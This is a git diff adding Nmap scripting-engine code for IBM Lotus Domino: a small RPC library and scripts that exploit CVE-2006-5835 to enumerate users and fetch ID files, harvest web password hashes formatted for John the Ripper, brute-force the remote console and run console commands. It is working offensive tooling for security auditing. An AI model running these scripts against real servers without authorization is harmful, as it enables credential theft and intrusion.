diff --git a/CHANGELOG b/CHANGELOG index 4452eb3de..ffaf1f8f0 100644 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,5 +1,15 @@ # Nmap Changelog ($Id$); -*-text-*- +o [NSE] Added a smallish Lotus Domino rpc library (nrpc.lua) and some Lotus + Domino oriented scripts: + - domino-enum-users.nse guesses users and attempts to download ID files by + exploiting (CVE-2006-5835). + - domino-enum-passwords attempts to download Internet passwords and ID files + from the web server. + - domcon-brute performs password guessing against the remote console. + - domcon-cmd adds support for running custom remote console commands. + [Patrik] + o [NSE] Added an Informix library and three scripts that make use of it: - informix-brute uses the brute framework to perform password guessing - informix-query add support for running SQL queries against Informix diff --git a/nselib/nrpc.lua b/nselib/nrpc.lua new file mode 100644 index 000000000..a0b752891 --- /dev/null +++ b/nselib/nrpc.lua @@ -0,0 +1,226 @@ +--- A minimalistic library to support Domino RPC +-- +-- Summary +-- ------- +-- The library currently only supports user enumeration and uses chunks of +-- captured data to do so. +-- +-- Overview +-- -------- +-- The library contains the following classes: +-- +-- o DominoPacket +-- - The packet class holding the packets sent between the client and the +-- IBM Lotus Domino server +-- +-- o Helper +-- - A helper class that provides easy access to the rest of the library +-- +-- o DominoSocket +-- - This is a copy of the DB2Socket class which provides fundamental +-- buffering +-- +-- +-- Example +-- ------- +-- The following sample code illustrates how scripts can use the Helper class +-- to interface the library: +-- +-- +-- helper = nrpc.Helper:new(host, port) +-- status, err = nrpc:Connect() +-- status, res = nrpc:isValidUser("Patrik Karlsson") +-- status, err = nrpc:Close() +-- +-- +-- @copyright Same as Nmap--See http://nmap.org/book/man-legal.html +-- @author "Patrik Karlsson " +-- + +-- +-- Version 0.1 +-- Created 07/23/2010 - v0.1 - created by Patrik Karlsson +-- + + +module(... or "nrpc", package.seeall) + +-- The Domino Packet +DominoPacket = { + + --- Creates a new DominoPacket instance + -- + -- @param data string containing the packet data + -- @return a new DominoPacket instance + new = function( self, data ) + local o = {} + setmetatable(o, self) + self.__index = self + o.data = data + return o + end, + + --- Reads a packet from the DominoSocket + -- + -- @param domsock DominoSocket connected to the server + -- @return Status (true or false). + -- @return Error code (if status is false). + read = function( self, domsock ) + local status, data = domsock:recv(2) + local pos, len = bin.unpack( ""tcp", "udp", or + -- @return Status (true or false). + -- @return Error code (if status is false). + connect = function( self, hostid, port, protocol ) + self.Socket:set_timeout(5000) + return self.Socket:connect( hostid, port, protocol ) + end, + + --- Closes an open connection. + -- + -- @return Status (true or false). + -- @return Error code (if status is false). + close = function( self ) + return self.Socket:close() + end, + + --- Opposed to the socket:receive_bytes function, that returns + -- at least x bytes, this function returns the amount of bytes requested. + -- + -- @param count of bytes to read + -- @return true on success, false on failure + -- @return data containing bytes read from the socket + -- err containing error message if status is false + recv = function( self, count ) + local status, data + + self.Buffer = self.Buffer or "" + + if ( #self.Buffer < count ) then + status, data = self.Socket:receive_bytes( count - #self.Buffer ) + if ( not(status) ) then + return false, data + end + self.Buffer = self.Buffer .. data + end + + data = self.Buffer:sub( 1, count ) + self.Buffer = self.Buffer:sub( count + 1) + + return true, data + end, + + --- Sends data over the socket + -- + -- @return Status (true or false). + -- @return Error code (if status is false). + send = function( self, data ) + return self.Socket:send( data ) + end, +} + +Helper = { + + --- Creates a new Helper instance + -- + -- @param host table as recieved by the script action method + -- @param port table as recieved by the script action method + new = function(self, host, port) + local o = {} + setmetatable(o, self) + self.__index = self + o.host = host + o.port = port + o.domsock = DominoSocket:new() + return o + end, + + --- Connects the socket to the Domino server + -- + -- @return status true on success, false on failure + -- @return err error message if status is false + connect = function( self ) + if( not( self.domsock:connect( self.host.ip, self.port.number, "tcp" ) ) ) then + return false, ("ERROR: Failed to connect to Domino server %s:%d\n"):format(self.host, self.port) + end + return true + end, + + --- Disconnects from the Lotus Domino Server + -- + -- @return status true on success, false on failure + -- @return err error message if status is false + disconnect = function( self ) + return self.domsock:close() + end, + + --- Attempt to check whether the user exists in Domino or not + -- + -- @param username string containing the user name to guess + -- @return status true on success false on failure + -- @return domino_id if it exists and status is true + -- err if status is false + isValidUser = function( self, username ) + local data = bin.pack("H", "00001e00000001000080000007320000700104020000fb2b2d00281f1e000000124c010000000000") + local status, id_data + local data_len, pos, total_len, pkt_type, valid_user + + self.domsock:send( tostring(DominoPacket:new( data )) ) + data = DominoPacket:new():read( self.domsock ) + + data = bin.pack("HCHAH", "0100320002004f000100000500000900", #username + 1, "000000000000000000000000000000000028245573657273290000", username, "00") + self.domsock:send( tostring(DominoPacket:new( data ) ) ) + status, id_data = DominoPacket:new():read( self.domsock ) + + pos, pkt_type = bin.unpack("C", id_data, 3) + pos, valid_user = bin.unpack("C", id_data, 11) + pos, total_len = bin.unpack(" +-- +-- @output +-- PORT STATE SERVICE REASON +-- 2050/tcp open unknown syn-ack +-- | domcon-brute: +-- | Accounts +-- |_ patrik karlsson:secret => Login correct +-- +-- Summary +-- ------- +-- x The Driver class contains the driver implementation used by the brute +-- library +-- +-- + +-- +-- Version 0.1 +-- Created 07/12/2010 - v0.1 - created by Patrik Karlsson +-- + +author = "Patrik Karlsson" +license = "Same as Nmap--See http://nmap.org/book/man-legal.html" +categories = {"intrusive", "auth"} + +require 'shortport' +require 'brute' + +portrule = shortport.port_or_service(2050, "", "tcp", "open") + +local not_admins = {} + +SocketPool = { + + new = function(self, max_sockets) + local o = {} + setmetatable(o, self) + self.__index = self + o.max_sockets = max_sockets + o.pool = {} + return o + end, + + getSocket = function(self, host, port) + while(true) do + for i=1, #self.pool do + if ( not( self.pool[i].inuse ) ) then + self.pool[i].inuse = true + return self.pool[i].socket + end + end + if ( #self.pool < self.max_sockets ) then + local socket = nmap.new_socket() + local status = socket:connect( host.ip, port.number, "tcp") + + if ( status ) then + socket:reconnect_ssl() + end + + if ( status and socket ) then + table.insert( self.pool, {['socket'] = socket, ['inuse'] = false}) + end + end + stdnse.sleep(1) + end + end, + + releaseSocket = function( self, socket ) + for i=1, #self.pool do + if( socket == self.pool[i].socket ) then + self.pool[i].inuse = false + break + end + end + end, + + shutdown = function( self ) + for i=1, #self.pool do + self.pool[i].socket:close() + end + end, + +} + +Driver = +{ + + new = function(self, host, port, options) + local o = {} + setmetatable(o, self) + self.__index = self + o.host = host + o.port = port + o.sockpool = options + return o + end, + + connect = function( self ) + self.socket = self.sockpool:getSocket( self.host, self.port ) + + if ( self.socket ) then + return true + else + return false + end + end, + + --- Attempts to login to the Lotus Domino Console + -- + -- @param username string containing the login username + -- @param password string containing the login password + -- @return status, true on success, false on failure + -- @return brute.Error object on failure + -- brute.Account object on success + login = function( self, username, password ) + local data = ("#UI %s,%s\n"):format(username,password) + local status + + if ( not_admins[username] ) then + return false, brute.Error:new( "Incorrect password" ) + end + + status, data = self.socket:send( data ) + if ( not(status) ) then + local err = brute.Error:new( data ) + err:setRetry(true) + return false, err + end + + status, data = self.socket:receive_bytes(5) + + if ( status and data:match("NOT_REG_ADMIN") ) then + not_admins[username] = true + elseif( status and data:match("VALID_USER") ) then + return true, brute.Account:new( username, password, "OPEN") + end + + return false, brute.Error:new( "Incorrect password" ) + + end, + + disconnect = function( self ) + self.sockpool:releaseSocket( self.socket ) + end, + + check = function( self ) + return true + end, + +} + + +action = function(host, port) + local status, result + local pool = SocketPool:new(10) + local engine = brute.Engine:new(Driver, host, port, pool ) + + status, result = engine:start() + pool:shutdown() + + return result +end \ No newline at end of file diff --git a/scripts/domcon-cmd.nse b/scripts/domcon-cmd.nse new file mode 100644 index 000000000..d0ba10eb8 --- /dev/null +++ b/scripts/domcon-cmd.nse @@ -0,0 +1,134 @@ +description = [[ +Runs a console command on the Lotus Domino Console +]] + +--- +-- @usage +-- nmap -np 2050 --script domcon-cmd --script-args domcon-cmd.cmd="show server", \ +-- domcon-cmd.user="Patrik Karlsson",domcon-cmd.pass="secret" +-- +-- @output +-- PORT STATE SERVICE REASON +-- 2050/tcp open unknown syn-ack +-- | domcon-cmd: +-- | show server +-- | +-- | Lotus Domino (r) Server (Release 8.5 for Windows/32) 2010-07-30 00:52:58 +-- | +-- | Server name: server1/cqure - cqure testing server +-- | Domain name: cqure +-- | Server directory: C:\Program Files\IBM\Lotus\Domino\data +-- | Partition: C.Program Files.IBM.Lotus.Domino.data +-- | Elapsed time: 00:27:11 +-- | Transactions/minute: Last minute: 0; Last hour: 0; Peak: 0 +-- | Peak # of sessions: 0 at +-- | Transactions: 0 Max. concurrent: 20 +-- | ThreadPool Threads: 20 (TCPIP Port) +-- | Availability Index: 100 (state: AVAILABLE) +-- | Mail Tracking: Not Enabled +-- | Mail Journalling: Not Enabled +-- | Number of Mailboxes: 1 +-- | Pending mail: 0 Dead mail: 0 +-- | Waiting Tasks: 0 +-- | DAOS: Not Enabled +-- | Transactional Logging: Not Enabled +-- | Fault Recovery: Not Enabled +-- | Activity Logging: Not Enabled +-- | Server Controller: Enabled +-- | Diagnostic Directory: C:\Program Files\IBM\Lotus\Domino\data\IBM_TECHNICAL_SUPPORT +-- | Console Logging: Enabled (1K) +-- | Console Log File: C:\Program Files\IBM\Lotus\Domino\data\IBM_TECHNICAL_SUPPORT\console.log +-- |_ DB2 Server: Not Enabled +-- +-- @args domcon-cmd.cmd The command to run on the remote server +-- @args domcon-cmd.user The user used to authenticate to the server +-- @args domcon-cmd.pass The password used to authenticate to the server +-- + +-- +-- Version 0.1 +-- Created 07/30/2010 - v0.1 - created by Patrik Karlsson +-- + +author = "Patrik Karlsson" +license = "Same as Nmap--See http://nmap.org/book/man-legal.html" +categories = {"intrusive", "auth"} + +require 'shortport' + +portrule = shortport.port_or_service(2050, "dominoconsole", "tcp", "open") + +--- Reads an API block from the server +-- +-- @param socket already connected to the server +-- @return status true on success, false on failure +-- @return result table containing lines with server response +-- or error message if status is false +local function readAPIBlock( socket ) + + local lines + local result = {} + local status, line = socket:receive_lines(1) + + if ( not(status) ) then return false, "Failed to read line" end + lines = stdnse.strsplit( "\n", line ) + + for _, line in ipairs( lines ) do + if ( not(line:match("BeginData")) and not(line:match("EndData")) ) then + table.insert(result, line) + end + end + + -- Clear trailing empty lines + while( true ) do + if ( result[#result] == "" ) then + table.remove(result, #result) + else + break + end + end + + return true, result + +end + +action = function(host, port) + + local socket = nmap.new_socket() + local result_part, result, cmds = {}, {}, {} + local user = nmap.registry.args['domcon-cmd.user'] + local pass = nmap.registry.args['domcon-cmd.pass'] + local cmd = nmap.registry.args['domcon-cmd.cmd'] + + if( not(cmd) ) then return " \n ERROR: No command supplied (see domcon-cmd.cmd)" end + if( not(user)) then return " \n ERROR: No username supplied (see domcon-cmd.user)" end + if( not(pass)) then return " \n ERROR: No password supplied (see domcon-cmd.pass)" end + + cmds = stdnse.strsplit(";%s*", cmd) + + socket:set_timeout(10000) + status = socket:connect( host.ip, port.number, "tcp") + if ( status ) then + socket:reconnect_ssl() + end + + socket:send("#API\n") + socket:send( ("#UI %s,%s\n"):format(user,pass) ) + socket:receive_lines(1) + socket:send("#EXIT\n") + + for i=1, #cmds do + socket:send(cmds[i] .. "\n") + status, result_part = readAPIBlock( socket ) + if( status ) then + result_part.name = cmds[i] + table.insert( result, result_part ) + else + return " \n ERROR: " .. result_part + end + end + + socket:close() + + return stdnse.format_output( true, result ) +end \ No newline at end of file diff --git a/scripts/domino-enum-passwords.nse b/scripts/domino-enum-passwords.nse new file mode 100644 index 000000000..118f366c0 --- /dev/null +++ b/scripts/domino-enum-passwords.nse @@ -0,0 +1,318 @@ +description = [[ +Attempts to enumerate the hashed Domino Internet Passwords, that by default are accessible to all authenticated users. +The script can also download any Domino ID Files attached to the Person document. +]] + +--- +-- @usage +-- nmap --script domino-enum-passwords -p 80 --script-args domino-enum-passwords.username='patrik karlsson',domino-enum-passwords.password=secret +-- +-- This script attempts to enumerate the password hashes used to authenitcate +-- to the Lotus Domino Web interface. By default, these hashes are accessible +-- to every authenticated user. Passwords are presented in a form suitable for +-- running in John the Ripper. In addition the script can be used to download +-- any ID files attached to the Person document. +-- +-- It appears as if form based authentication is enabled, basic authentication +-- still works. Therefore the script should work in both scenarios. Valid +-- credentials can either be supplied directly using the parameters username +-- and password or indirectly from results of http-brute or http-form-brute. +-- +-- @output +-- PORT STATE SERVICE REASON +-- 80/tcp open http syn-ack +-- | domino-enum-passwords: +-- | Information +-- | Information retrieved as: "Jim Brass" +-- | Internet hashes +-- | Jim Brass:(GYvlbOz2idzni5peJUdD) +-- | Warrick Brown:(GZghNctqAnJgyklUl2ml) +-- | Gill Grissom:(GyhsteeXTr75YOSwW8mc) +-- | David Hodges:(GZEJRHqJEVc5IZCsNX0U) +-- | Ray Langston:(GE18MGVGD/8ftYMFaVlY) +-- | Greg Sanders:(GHpdG/7FX7iXXlaoY5sj) +-- | Sara Sidle:(GWzgG0kCQ5qmnqARL3cl) +-- | Wendy Simms:(G6wooaElHpsvA4TPvSfi) +-- | Nick Stokes:(Gdo2TJBRj1Ervrs9lPUp) +-- | Catherine Willows:(GlDc3QP5ePFR38d7lQeM) +-- | ID Files +-- | Jim Brass ID File has been downloaded (/tmp/id/Jim Brass.id) +-- | Warrick Brown ID File has been downloaded (/tmp/id/Warrick Brown.id) +-- | Gill Grissom ID File has been downloaded (/tmp/id/Gill Grissom.id) +-- | David Hodges ID File has been downloaded (/tmp/id/David Hodges.id) +-- | Ray Langston ID File has been downloaded (/tmp/id/Ray Langston.id) +-- | Greg Sanders ID File has been downloaded (/tmp/id/Greg Sanders.id) +-- | Sara Sidle ID File has been downloaded (/tmp/id/Sara Sidle.id) +-- | Wendy Simms ID File has been downloaded (/tmp/id/Wendy Simms.id) +-- | Nick Stokes ID File has been downloaded (/tmp/id/Nick Stokes.id) +-- | Catherine Willows ID File has been downloaded (/tmp/id/Catherine Willows.id) +-- | +-- |_ Results limited to 10 results (see domino-enum-passwords.count) +-- +-- +-- @args domino-enum-passwords.path points to the path protected by authentication +-- @args domino-enum-passwords.hostname sets the host header in case of virtual hosting +-- @args domino-enum-passwords.count the number of internet hashes and id files to fetch. +-- If a negative value is given, all hashes and id files are retrieved (default: 10) +-- @args domino-enum-passwords.idpath the path where downloaded ID files should be saved +-- If not given, the script will only indicate if the ID file is donwloadable or not + +-- +-- Version 0.2 +-- Created 07/30/2010 - v0.1 - created by Patrik Karlsson +-- Revised 07/31/2010 - v0.2 - add support for downloading ID files + +author = "Patrik Karlsson" +license = "Same as Nmap--See http://nmap.org/book/man-legal.html" +categories = {"intrusive", "auth"} +dependencies = {"http-brute", "http-form-brute"} + +require 'shortport' +require 'http' + +portrule = shortport.port_or_service({80, 443}, {"http","https"}, "tcp", "open") + +--- Checks if the path require authentication +-- +-- @param host table as received by the action function or the name specified +-- in the hostname argument +-- @param port table as received by the action function +-- @param path against which to check if authentication is required +local function requiresAuth( host, port, path ) + local result = http.get(host, port, "/names.nsf") + + if ( result.status == 401 ) then + return true + elseif ( result.status == 200 and result.body and result.body:match("path +-- +-- @param host table as received by the action function or the name specified +-- in the hostname argument +-- @param port as recieved by the action method +-- @param path the patch against which to validate the credentials +-- @param user the username used for authentication +-- @param pass the password used for authentication +-- @return true on valid access, false on failure +local function isValidCredential( host, port, path, user, pass ) + -- we need to supply the no_cache directive, or else the http library + -- incorrectly tells us that the authentication was successfull + local result = http.get( host, port, path, { auth = { username = user, password = pass }, no_cache = true }) + + if ( result.status == 401 ) then + return false + end + return true +end + +--- Retrieves all uniq links in a pages +-- +-- @param body the html content of the recieved page +-- @param filter a filter to use for additional link filtering +-- @param links [optional] table containing previousy retrieved links +-- @return links table containing retrieved links +local function getLinks( body, filter, links ) + local tmp = {} + local links = links or {} + local filter = filter or ".*" + + if ( not(body) ) then return end + for _, v in ipairs( links ) do + tmp[v] = true + end + + for link in body:gmatch("") + local http_passwd = body:match("") + local dsp_http_passwd = body:match("") + local id_file = body:match("") + + -- In case we have more than one full name, return only the last + full_name = stdnse.strsplit(";%s*", full_name) + full_name = full_name[#full_name] + + return { fullname = full_name, passwd = ( http_passwd or dsp_http_passwd ), idfile = id_file } +end + +--- Saves the ID file to disk +-- +-- @param filename string containing the name and full path to the file +-- @param data contains the data +-- @return status true on success, false on failure +-- @return err string containing error message if status is false +local function saveIDFile( filename, data ) + local f = io.open( filename, "w") + if ( not(f) ) then + return false, ("Failed to open file (%s)"):format(filename) + end + if ( not(f:write( data ) ) ) then + return false, ("Failed to write file (%s)"):format(filename) + end + f:close() + + return true +end + + +action = function(host, port) + + local path = "/names.nsf" + local download_path = nmap.registry.args['domino-enum-passwords.idpath'] + local vhost= nmap.registry.args['domino-enum-passwords.hostname'] + local user = nmap.registry.args['domino-enum-passwords.username'] + local pass = nmap.registry.args['domino-enum-passwords.password'] + local creds, pos, pager + local links, result, hashes, id_files = {}, {}, {}, {} + local chunk_size = 30 + local max_fetch = nmap.registry.args['domino-enum-passwords.count'] and tonumber(nmap.registry.args['domino-enum-passwords.count']) or 10 + local http_response + + if ( nmap.registry['credentials'] and nmap.registry['credentials']['http'] ) then + creds = nmap.registry['credentials']['http'] + end + + -- authentication required? + if ( requiresAuth( vhost or host, port, path ) ) then + if ( not(user) and not(creds) ) then + return " \n ERROR: No credentials supplied (see domino-enum-passwords.username and domino-enum-passwords.password)" + end + + -- A user was provided, attempt to authenticate + if ( user ) then + if (not(isValidCredential( vhost or host, port, path, user, pass )) ) then + return " \n ERROR: The provided credentials where invalid" + end + elseif ( creds ) then + for _, cred in pairs(creds) do + if ( isValidCredential( vhost or host, port, path, cred.username, cred.password ) ) then + user = cred.username + pass = cred.password + break + end + end + end + end + + if ( not(user) and not(pass) ) then + return " \n ERROR: No valid credentials were found (see domino-enum-passwords.username and domino-enum-passwords.password)" + end + + path = "/names.nsf/People?OpenView" + http_response = http.get( vhost or host, port, path, { auth = { username = user, password = pass }, no_cache = true }) + pager = getPager( http_response.body ) + if ( not(pager) ) then + return " \n ERROR: Failed to process results" + end + pos = 1 + + -- first collect all links + while( true ) do + path = pager .. "&Start=" .. pos + http_response = http.get( vhost or host, port, path, { auth = { username = user, password = pass }, no_cache = true }) + + if ( http_response.status == 200 ) then + local size = #links + links = getLinks( http_response.body, "%?OpenDocument", links ) + -- No additions were made + if ( size == #links ) then + break + end + end + + if ( max_fetch > 0 and max_fetch < #links ) then + break + end + + pos = pos + chunk_size + end + + for _, link in ipairs(links) do + stdnse.print_debug(2, "Fetching link: %s", link) + http_response = http.get( vhost or host, port, link, { auth = { username = user, password = pass }, no_cache = true }) + local u_details = getUserDetails( http_response.body ) + + if ( max_fetch > 0 and #hashes >= max_fetch ) then + break + end + + if ( u_details.fullname and u_details.passwd and #u_details.passwd > 0 ) then + stdnse.print_debug(2, "Found Internet has for: %s:%s", u_details.fullname, u_details.passwd) + table.insert( hashes, ("%s:%s"):format(u_details.fullname, u_details.passwd)) + end + + if ( u_details.idfile ) then + stdnse.print_debug(2, "Found ID file for user: %s", u_details.fullname) + if ( download_path ) then + stdnse.print_debug(2, "Downloading ID file for user: %s", u_details.full_name) + http_response = http.get( vhost or host, port, u_details.idfile, { auth = { username = user, password = pass }, no_cache = true }) + + if ( http_response.status == 200 ) then + local status, err = saveIDFile( ("%s/%s.id"):format(download_path, u_details.fullname), http_response.body ) + if ( status ) then + table.insert( id_files, ("%s ID File has been downloaded (%s/%s.id)"):format(u_details.fullname, download_path, u_details.fullname) ) + else + table.insert( id_files, ("%s ID File was not saved (error: %s)"):format(u_details.fullname, err ) ) + end + else + table.insert( id_files, ("%s ID File was not saved (error: unexpected response from server)"):format( u_details.fullname ) ) + end + else + table.insert( id_files, ("%s has ID File available for download"):format(u_details.fullname) ) + end + end + end + + if ( #hashes ) then + hashes.name = "Internet hashes" + table.insert( result, { name = "Information", [1] = ("Information retrieved as: \"%s\""):format(user) } ) + table.insert( result, hashes ) + + if ( #id_files ) then + id_files.name = "ID Files" + table.insert( result, id_files ) + end + end + + local result = stdnse.format_output(true, result) + + if ( max_fetch > 0 ) then + result = result .. (" \n Results limited to %d results (see domino-enum-passwords.count)"):format(max_fetch) + end + + return result + +end \ No newline at end of file diff --git a/scripts/domino-enum-users.nse b/scripts/domino-enum-users.nse new file mode 100644 index 000000000..e19902074 --- /dev/null +++ b/scripts/domino-enum-users.nse @@ -0,0 +1,131 @@ +description = [[ +A script that attempts to discover valid IBM Lotus Domino users and download +their ID files. (CVE-2006-5835) +]] + +--- +-- @usage +-- nmap --script domino-enum-users -p 5900 +-- +-- @output +-- PORT STATE SERVICE REASON +-- 1352/tcp open lotusnotes +-- | domino-enum-users: +-- | User "Patrik Karlsson" found, but not ID file could be downloaded +-- | Succesfully stored "FFlintstone" in /tmp/FFlintstone.id +-- |_ Succesfully stored "MJacksson" in /tmp/MJacksson.id +-- +-- +-- @args domino-id.path the location to which any retrieved ID files are stored +-- @args domino-id.username the name of the user from which to retrieve the ID. +-- If this parameter is not specified, the unpwdb library will be used to +-- brute force names of users. +-- +-- For more information see: +-- http://www-01.ibm.com/support/docview.wss?rs=463&uid=swg21248026 +-- +-- Credits +-- ------- +-- o Ollie Whitehouse for bringing this to my attention back in the days when +-- it was first discovered and for the c-code on which this is based. + +-- +-- Version 0.1 +-- Created 07/12/2010 - v0.1 - created by Patrik Karlsson +-- + +author = "Patrik Karlsson" +license = "Same as Nmap--See http://nmap.org/book/man-legal.html" +categories = {"intrusive", "auth"} + +require 'shortport' +require 'nrpc' +require 'unpwdb' + +portrule = shortport.port_or_service(1352, "lotusnotes", "tcp", "open") + +--- Saves the ID file to disk +-- +-- @param filename string containing the name and full path to the file +-- @param data contains the data +-- @return status true on success, false on failure +-- @return err string containing error message if status is false +local function saveIDFile( filename, data ) + local f = io.open( filename, "w") + if ( not(f) ) then + return false, ("Failed to open file (%s)"):format(filename) + end + if ( not(f:write( data ) ) ) then + return false, ("Failed to write file (%s)"):format(filename) + end + f:close() + + return true +end + +action = function(host, port) + + local helper = nrpc.Helper:new( host, port ) + local status, data, usernames, err + local path = nmap.registry.args['domino-enum-users.path'] + local result = {} + local save_file = false + local counter = 0 + + if ( nmap.registry.args['domino-enum-users.username'] ) then + usernames = ( function() + local b = true + return function() + if ( b ) then + b=false; + return nmap.registry.args['domino-enum-users.username'] + end + end + end )() + else + status, usernames = unpwdb.usernames() + if ( not(status) ) then + return false, "Failed to load usernames" + end + end + + for username in usernames do + status = helper:connect() + if ( not(status) ) then + err = ("ERROR: Failed to connect to Lotus Domino Server %s"):format( host.ip ) + break + end + + status, data = helper:isValidUser( username ) + helper:disconnect() + + if ( status and data and path ) then + local filename = ("%s/%s.id"):format(path, username ) + local status, err = saveIDFile( filename, data ) + + if ( status ) then + table.insert(result, ("Succesfully stored \"%s\" in %s"):format(username, filename) ) + else + stdnse.print_debug( err ) + table.insert(result, ("Failed to store \"%s\" to %s"):format(username, filename) ) + end + elseif( status and data ) then + table.insert(result, ("Succesfully retrieved ID for \"%s\" (to store set the domino-enum-users.path argument)"):format(username, filename) ) + elseif ( status ) then + table.insert(result, ("User \"%s\" found, but not ID file could be downloaded"):format(username) ) + end + + counter = counter + 1 + end + + if ( #result == 0 ) then + table.insert(result, ("Guessed %d usernames, none were found"):format(counter) ) + end + + result = stdnse.format_output( true, result ) + if ( err ) then + result = result .. (" \n %s"):format(err) + end + + return result +end \ No newline at end of file diff --git a/scripts/script.db b/scripts/script.db index 921ce14b4..11a402398 100644 --- a/scripts/script.db +++ b/scripts/script.db @@ -24,6 +24,10 @@ Entry { filename = "dns-random-txid.nse", categories = { "external", "intrusive" Entry { filename = "dns-recursion.nse", categories = { "default", "intrusive", } } Entry { filename = "dns-service-discovery.nse", categories = { "default", "discovery", "safe", } } Entry { filename = "dns-zone-transfer.nse", categories = { "default", "discovery", "intrusive", } } +Entry { filename = "domcon-brute.nse", categories = { "auth", "intrusive", } } +Entry { filename = "domcon-cmd.nse", categories = { "auth", "intrusive", } } +Entry { filename = "domino-enum-passwords.nse", categories = { "auth", "intrusive", } } +Entry { filename = "domino-enum-users.nse", categories = { "auth", "intrusive", } } Entry { filename = "drda-brute.nse", categories = { "auth", "intrusive", } } Entry { filename = "drda-info.nse", categories = { "discovery", "safe", "version", } } Entry { filename = "finger.nse", categories = { "default", "discovery", "safe", } }